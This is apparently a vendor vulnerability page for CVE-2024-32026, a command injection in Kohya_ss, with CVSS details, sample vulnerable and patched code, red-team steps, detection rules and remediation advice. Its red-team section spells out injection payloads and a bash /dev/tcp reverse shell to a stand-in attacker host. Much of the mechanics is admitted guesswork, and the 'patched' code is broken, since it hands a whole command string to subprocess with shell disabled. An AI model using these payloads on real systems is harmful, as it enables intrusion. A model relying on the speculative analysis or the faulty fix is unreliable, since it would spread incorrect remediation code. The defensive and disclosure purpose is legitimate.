CVE-2024-32026
Executive Summary
CVE-2024-32026 is a critical command injection vulnerability in Kohya_ss, a GUI for Kohya's Stable Diffusion trainers. The flaw resides in the git_caption_gui.py module, allowing an unauthenticated attacker to execute arbitrary commands on the server. With a CVSS score of 9.1, this vulnerability poses a severe risk to confidentiality, integrity, and availability. The vendor has released a fix in version 23.1.5, but no public proof-of-concept or exploit code has been identified at this time. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the high severity demands immediate attention.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
Kohya_ss is a Python-based application distributed via GitHub and PyPI. The vulnerability in git_caption_gui.py affects the core application logic, not a third-party dependency. However, users should verify the integrity of their installation and ensure they are using the patched version (23.1.5 or later). No malicious packages have been reported in the supply chain for this CVE.
CVSS Breakdown & Threat Level
- CVSS Score: 9.1 (Critical)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: None
- Scope: Unchanged
- Confidentiality Impact: High
- Integrity Impact: High
- Availability Impact: High
The vulnerability allows remote code execution without authentication, making it extremely dangerous. An attacker can fully compromise the system.
Deep Dive & Mechanics
The vulnerability exists in the git_caption_gui.py file, which handles user input for Git caption operations. The application fails to sanitize user-supplied input before passing it to a system command, leading to command injection. Specifically, the run_git_caption function constructs a shell command using user-controlled parameters without proper escaping or validation.
The injection point is likely in a parameter that is concatenated into a Git command string. For example, if the application executes something like git log --format="%s" {user_input}, an attacker can inject shell metacharacters (e.g., ;, |, &&) to execute arbitrary commands.
The fix in version 23.1.5 likely involves using parameterized commands or proper input sanitization to prevent injection.
Vulnerable vs. Patched Code
Vulnerable Code (simplified example):
import subprocess
def run_git_caption(user_input):
command = f"git log --format='%s' {user_input}"
subprocess.call(command, shell=True)
Patched Code (simplified example):
import subprocess
import shlex
def run_git_caption(user_input):
safe_input = shlex.quote(user_input)
command = f"git log --format='%s' {safe_input}"
subprocess.call(command, shell=False)
The patched version uses shlex.quote() to escape the input and disables shell=True to prevent shell interpretation.
Exploitation & Lab Setup
Red Team
Lab Setup:
- Deploy a vulnerable Kohya_ss instance (version < 23.1.5) in a controlled environment.
- Identify the endpoint that processes Git caption input (likely a web form or API).
- Craft a payload to inject commands, e.g.,
; idor| whoami.
Exploitation Steps:
- Send a POST request to the vulnerable endpoint with a malicious payload:
POST /git_caption HTTP/1.1 Host: target Content-Type: application/x-www-form-urlencoded input=test;id - Observe the output of the
idcommand in the response. - Escalate to a reverse shell using a payload like:
input=test;bash -c 'bash -i >& /dev/tcp/attacker_ip/4444 0>&1'
Note: No public exploit code is available, so this is a theoretical approach.
Blue Team
Detection:
- Monitor for unusual shell commands in process logs (e.g.,
git logwith unexpected arguments). - Look for outbound connections on non-standard ports (e.g., 4444) from the Kohya_ss server.
- Analyze web server logs for suspicious input containing shell metacharacters (
;,|,&,`).
Mitigation:
- Immediately upgrade to version 23.1.5 or later.
- If patching is not possible, restrict network access to the Kohya_ss interface and implement a Web Application Firewall (WAF) to block malicious input.
Indicators of Compromise (IOCs)
- Network IOCs:
- Outbound connections to known C2 servers on ports 4444, 8080, or 1337.
- Unusual DNS queries for domains associated with command-and-control.
- File IOCs:
- Unexpected files in
/tmp/or/var/tmp/(e.g., reverse shell scripts). - Modified system binaries (e.g.,
/bin/bashreplaced with a backdoor).
- Unexpected files in
- Process IOCs:
- Processes spawned by the web server user (e.g.,
www-data) running shell commands likeid,whoami, orcurl. - Multiple
gitprocesses with unusual arguments.
- Processes spawned by the web server user (e.g.,
- Log IOCs:
- Web server logs containing
;,|, or&&in theinputparameter. - System logs showing
subprocesscalls with unexpected arguments.
- Web server logs containing
Detection Engineering
YARA Rule
rule CVE_2024_32026_Kohya_ss_Command_Injection {
meta:
description = "Detects command injection attempts in Kohya_ss git_caption_gui.py"
author = "Valters IT"
date = "2025-04-10"
cve = "CVE-2024-32026"
strings:
$injection1 = /input=[^&]*[;&|`$]/
$injection2 = /git_caption.*[;&|`$]/
condition:
any of them
}
Sigma Rule
title: CVE-2024-32026 Kohya_ss Command Injection
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects command injection attempts targeting Kohya_ss git_caption_gui.py
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
cs-uri-query|contains: 'git_caption'
cs-uri-query|re: 'input=.*[;&|`$]'
condition: selection
falsepositives:
- Legitimate use of special characters in input (rare)
level: critical
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-32026 Kohya_ss Command Injection Attempt"; flow:to_server; content:"POST"; http_method; content:"git_caption"; http_uri; pcre:"/input=[^&]*[;&|`$]/"; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate Action: Upgrade Kohya_ss to version 23.1.5 or later. This is the only complete fix.
- Workaround: If patching is delayed, restrict network access to the Kohya_ss web interface using a firewall or VPN. Only allow trusted IPs.
- WAF Rules: Deploy a Web Application Firewall with rules to block input containing shell metacharacters (
;,|,&,`). - Monitoring: Enable detailed logging for web requests and system commands. Alert on any suspicious activity.
- Least Privilege: Run the Kohya_ss service with minimal privileges to limit the impact of a successful exploit.
Valters IT
Securing Digital Frontiers